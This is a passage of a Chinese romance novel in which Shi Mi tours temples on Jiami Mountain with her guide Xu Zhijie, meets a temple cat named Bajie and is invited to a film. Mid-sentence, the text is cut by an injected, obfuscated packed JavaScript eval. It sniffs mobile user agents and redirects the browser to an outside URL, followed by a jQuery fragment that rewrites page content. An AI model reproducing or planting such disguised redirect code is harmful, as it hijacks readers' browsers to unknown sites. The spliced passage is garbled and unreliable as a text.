他包扎完伤口,把手伸回来,搭在大腿上,垂眼看着她小腿处包扎出来的一个漂亮标准的蝴蝶结,还算满意地啧了声:“别说,这大自然的馈赠还真挺好用的。”
时宓这是第二次从徐知节嘴里听到他奶奶的名字。
“你是……和你奶奶更亲一些吗?”
徐知节神情不变,顺势坐在她身边,低应了声,嗓音偏低:“我是被她抚养长大的。”
他喝了口水后,单手提着矿泉水瓶,两腿敞开,姿态散漫,想到什么,笑了声:“不过我从小就叛逆,皮的狠,没少折腾老人家。”
时宓抿了抿嘴巴,随后笑起来:“那这么看来,咱俩的经历还挺像。小时候我爸妈去别的城市打工,就把我送到了镇上,和我奶奶待在一块,这一待就是十年。那时候的我就在想啊,我一定要努力考出去,不要再成为任何人的累赘。”
只不过她一直在奋力赶路的同时,却忘记了有的人腿脚慢,跟不上她的速度,被留在了原地。而她再想回头去找时,已经再也找不到了。
时宓正沉浸在自己的心绪里时,脚边好像被什么东西时不时地蹭过。
她没注意,只以为是旁边的男人在扰她干什么,下意识开口说道:“徐知节你又在……”
话还没说完,一扭头,就看见她脚边是一只橘猫,肥肥的,跟动画片里的加菲猫一样胖,正踩着轻盈的步子,“喵”了两声,蹭过他、她的脚踝,随后顺势倒在地上朝着她翻肚皮撒娇。
时宓有些意外,把相机放下,没有动。
”这是……“
这时徐知节调侃的声音传过来:“以为是我的脚在蹭你啊?”
说完后,他弯下腰伸出手去摸了摸橘猫软乎乎的肚子,跟打发时间似的,跟它玩起来,漫不经心地说道:“我还以为是谁呢,原来是八戒小师傅啊……”
时宓被徐知节的话戳中了刚才的心思,刚在树底下将晒得红扑扑的脸上的热意散去些,此刻又全都凝聚了回来,时宓有些尴尬地别过头去,摸了摸脸,小声吐槽;“显得你不会干出这种事一样。”
莫名的,这么一来二去,她刚才心上涌起来的情绪很快又淡去些,连带着整个人都轻松了起来。
徐知节轻轻淡淡地掀起眼皮看她一眼,注意到她脸颊两侧加重了的颜色,跟又打了遍腮红似的,无声的哼笑一声,没和她掰扯,注意到时宓看向橘猫的拘谨和犹豫,他伸出手懒洋洋地挠了挠橘色肥猫的下巴,给时宓解释:“这是山上养的猫,脾性都很好,不会乱咬人,你也可以摸摸它。”
可能是小时候被猫挠过的阴影还存在,时宓对猫有一种莫名的抗拒感。但看到在他好几次的抚摸下橘猫都没有拒绝,反而顺从舒服地眯起了眼发出了呼噜声后,时宓犹豫了下,也蹲了下去,把手放在橘猫身上摸了摸。
出乎意料的,手感异常地好。刚才它在太阳底下晒了好一会儿,身上的毛都变得又绒又暖,跟棉被似的。
时宓的警惕心没了大半,还多摸了几下,想起徐知节刚才叫它的称呼:“它叫八戒吗?”
“‘八戒’是殊像寺里的师傅给它起的法号。”
徐知节见八戒被摸舒服了,也不在地上打滚了,从地上站起来,抖了抖身上的肉,又踩着猫垫,迈着傲慢的步子束着尾巴慢悠悠地走了,他见状不由得笑了,屈起胳膊,随意地搭在大腿上,跟时宓说:“山上有很多这种小动物,情绪都很稳定,个个儿也挺有灵性的,而且,在我们这儿猫还有招财的寓意。“
他想到什么,抬起眼,看向时宓,语气里头带了点笑意:“我们这儿有个说法,说在寺院里头遇见猫主动靠近的话,那就代表着它感受到了这个人散发出来的善意,这个人往后会有福报。”
时宓联想到刚才八戒主动蹭自己,一瞬间受宠若惊:“那刚刚……”徐知节点了下头,也跟着抬起眼,认认真真打量了下眼前的女人,笑着说:“你可以把这个当成是伽弥山送给你的见面礼。”
在阳光下,他看着她的眼,平静开口:“时宓,欢迎来到伽弥山。”
现在正是上午十点,阳光已经灼热了起来。透过头顶上树荫绿叶斑驳的缝隙,周身熙攘,一声敦厚悠远的钟声从僻静的山谷传出来。
时宓抬眼对上男人沉黑平稳的双眼,宛如一片湖泊,心莫名往实处定了定。
虽然与那天晚上隔着屏幕他给她发的消息差不多,可当面说出来,又是另外一种奇妙的感觉。
她心头一动,随后慢慢笑起来:“现在看来,你的确是有几分实力的,徐导。”
到了现在,这一早上,时宓也算真正认可了徐知节的工作能力。
徐知节听完一愣,随后笑起来:“看来我这一早上的兢兢业业还是管点儿用的。”
说完后,徐知节目光掠过时宓怀中的相机,随口一问:“刚才见你一直都在拍一些寺院里的建筑,怎么,很喜欢?”
“喜欢吧,但更多的还是职业习惯。”这时候两个人已经站起来往前走了。
时宓停下脚步,抬头看向远处:“我当初大学念的就是考古建筑学。”
在她的视野下,湛蓝的天空下,庙堂的飞檐勾勒出来张扬的弧线,厚重浓烈的黑漆下压着红漆,青铜铸造的风铎挂在角梁上,随风微微晃动,发出清越的细微响声。
“我很喜欢古寺的建筑。”时宓伸出手,轻轻摸过朱砂色的寺墙,平静说道:“这里的每一块砖,每一座墙,还有寺院里头燃的每一炷香,祈福红带上写下的每一句话,都代表着不同的人生,不同的故事。”
说到这里,时宓发自内心地笑了下:“这也是我最初学建筑的原因。”她放眼望去,看遍山上的大小寺庙,精美而又宏伟,弯唇说道:“我也想经由我设计出来的建筑,受人观赏的同时,也可以去承载那些不同的人生和故事,只不过现在……”
说到最后,时宓想到什么,嘴角的笑意敛去些,但很快她就收敛了神情,冲徐知节神情如常地笑了下,长呼了口气:“我应
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071584|179160||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
该也算是一夜回到解放前了。”
说完后,她看向远方,眼里浮沉,情绪万千。
徐知节看过去,注意到她的神情,也没多问,只插兜笑了下:“那又如何,没有谁的人生都是白活的。”说完后,他朝着一个方向点了点下巴:“走吧,再带你逛逛周围的一些小寺庙。”
一晃眼就到了下,伽弥山很多寺庙等到下午六点多就陆续都关了。
时宓也不打算今天一整天就把山上的这些寺庙全都逛完,等到下午五点多的时候,她就走的脚酸腿麻,提出想回民宿,徐知节也爽快答应了下来,还把她送到门口。
“那我进去了?”
时宓朝徐知节打了声招呼,就要转身进去,刚迈出脚,身后传来一声平稳的嗓音。
“时宓。”
她扭过头去,就看见徐知节站在不远处,一只手搭在门框上,笑着说;“你还没说我今儿的工作考察的怎么样,明儿我这导游服务还继续不?”
时宓挑了下眉头,干脆抱起胳膊,认真思考了下,朝他伸出五个手指头。徐知节一下子笑了,眉眼都明朗了些:“五星?”
时宓摇了下头,将一个手指放下,朝他比了四根手指,然后示意她脚上的那个伤口:“鉴于你没有保护好你的老板,扣掉一星,至于明天……”
时宓故意将话语停顿,随后眉眼弯起来:“我可以勉强再继续考察你一天。但凡没达到我预期的满意程度……”
她将手摊开,往回折了折:“这可是你当初说的,工钱扣半。”
还真是,他说过的话,她是半点都不敢忘,生怕又落进他这个”奸商“的套里。
徐知节被她一本正经的模样给彻底折服了,低头闷笑起来,附和她:“行行行,不过这扣掉的一星我可以找机会弥补吧。”
时宓:“怎么弥补?”
徐知节搭在门框上的手敲了敲,还真拧着眉想了两分钟,朝她看来:“我请你看电影吧。”
看电影?
就他们两个人?
时宓的神情一瞬间变得古怪起来。
刚想说些什么,身后传来刘姨的声音:“哎你们回来嘞,杵在门口干什么,进来说啊……”
徐知节朝里头随意挥了挥手,语调拉长:“刘姨我就不进去了,一会儿还有事。”
和里头的人应和完,徐知节往后退了几步,边走边跟时宓招手:“行,那就这么说定了啊,晚上七点,民宿门口见。”
话音刚落,没等时宓开口说,徐知节眯眼笑起来,温馨提示:“哦对了,今儿晚上山里头风会大一些,出来时多套一件衣服。”
时宓:“……”
到底是谁和他说定了。
等进了柏云小院,刘姨正好做晚饭,时宓进去帮她打下手。
刘姨刚才站门口就瞅见时宓那会儿和徐知节两个人站在门口有说有笑的,和面的同时,按捺不住八卦的小心思,偏头对时宓说道:“今儿你和知节出去了啊?”